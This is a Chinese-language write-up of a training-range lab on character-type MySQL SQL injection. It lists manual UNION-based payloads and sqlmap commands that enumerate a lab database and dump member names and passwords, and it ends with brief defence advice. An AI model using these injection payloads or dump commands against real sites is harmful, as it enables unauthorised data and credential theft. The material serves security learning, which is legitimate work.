墨者:SQL手工注入漏洞测试(MySQL数据库-字符型)
1. 墨者学院:SQL手工注入漏洞测试(MySQL数据库-字符型)🚀
2. MySQL字符型注入详解🔍
2.1 基本概念⚡
字符型注入是指Web应用程序在处理用户输入时,使用**单引号(')**将输入内容包裹为字符串的SQL查询场景。例如:
SELECT * FROM news WHERE id='用户输入'
2.2 与数字型注入的区别⚡
类型 | 示例 | 闭合方式 | 测试方法 |
---|---|---|---|
数字型 | id=1 | 无需闭合 | 直接拼接 |
字符型 | id='1' | 需要闭合单引号 | ' and 1=1 --+ |
2.3 危险原理⚡
当开发者未对用户输入进行过滤时,攻击者可以通过:
- 闭合前引号:
'
- 插入恶意代码:
and 1=1
- 注释后续内容:
--+
或%23
3. 手工注入方式🎯
我的靶场地址是http://124.70.64.48:44055/new_list.php?
,下面的命令以id
开始
3.1 确定字段数⚡
id=tingjigonggao' order by 5 --+
语法解释:
'
:闭合原SQL语句中的引号order by 5
:通过二分法测试字段数,当数字超出时会报错--+
:MySQL注释符(等同于%23
即#的URL编码)
3.2 确认回显位⚡
id=tingjigonggao' and 1=2 union select 1,2,3,4 --+
关键函数:
union select
:联合查询,要求前后字段数一致and 1=2
:使前段查询不返回结果,确保只显示union后的内容
3.3 获取基础信息⚡
id=tingjigonggao' and 1=2 union select 1,database(),version(),4 --+
核心函数:
database()
:显示当前数据库名version()
:获取MySQL版本信息
3.4 系统信息探测⚡
id=tingjigonggao' and 1=2 union select 1,@@version_compile_os,user(),4 --+
特殊变量:
@@version_compile_os
:操作系统类型user()
:当前数据库用户
3.5 爆表名⚡
id=tingjigonggao' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' --+
关键技术:
group_concat()
:合并多行结果information_schema.tables
:存储所有表信息的系统表
3.6 爆列名⚡
id=tingjigonggao' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' --+
系统表说明:
information_schema.columns
:存储所有列信息的系统表
3.7 获取最终数据⚡
id=tingjigonggao' and 1=2 union select 1,group_concat(name),group_concat(password),4 from stormgroup_member --+
4. sqlmap工具测试🎯
4.1 基础检测⚡
python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=tingjigonggao" --batch
4.2 枚举数据库⚡
python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=tingjigonggao" --dbs --batch
4.3 枚举表名⚡
python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=1" -D mozhe_discuz_stormgroup --tables --batch
4.4 枚举列名⚡
python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=1" -D mozhe_discuz_stormgroup -T stormgroup_member --columns --batch
4.5 导出数据⚡
python sqlmap.py -u "http://124.70.64.48:44055/new_list.php?id=1" -D mozhe_discuz_stormgroup -T stormgroup_member -C id,name,password,status --dump --batch
4.6 清理缓存⚡
python sqlmap.py --purge
该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:
python sqlmap.py -h
4.7 参数说明表⭐
参数 | 作用 | 示例 |
---|---|---|
--batch | 非交互模式 | 自动选择默认选项 |
--dbs | 枚举数据库 | --dbs |
-D | 指定数据库 | -D mozhe_discuz_stormgroup |
--tables | 枚举表 | --tables |
-T | 指定表 | -T stormgroup_member |
--columns | 枚举列 | --columns |
-C | 指定列 | -C name,password |
--dump | 导出数据 | --dump |
--purge | 清除缓存 | --purge |
5. 手工 vs 工具对比分析✨
对比维度 | 手工注入 | SQLMap |
---|---|---|
学习成本 | 需要理解SQL语法 | 只需掌握参数用法 |
测试速度 | 慢(逐步测试) | 快(自动化爆破) |
隐蔽性 | 可精细化控制流量 | 产生大量测试请求 |
检测能力 | 依赖测试者经验 | 内置多种检测算法 |
适用阶段 | 漏洞验证/CTF | 渗透测试/批量检测 |
6. 总结🏁
- 字符型注入关键在于引号闭合和注释使用
- information_schema是MySQL注入的核心突破口
- 手工注入适合学习原理,实战推荐使用sqlmap
- 防御措施:使用预编译语句、严格过滤输入、最小权限原则
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗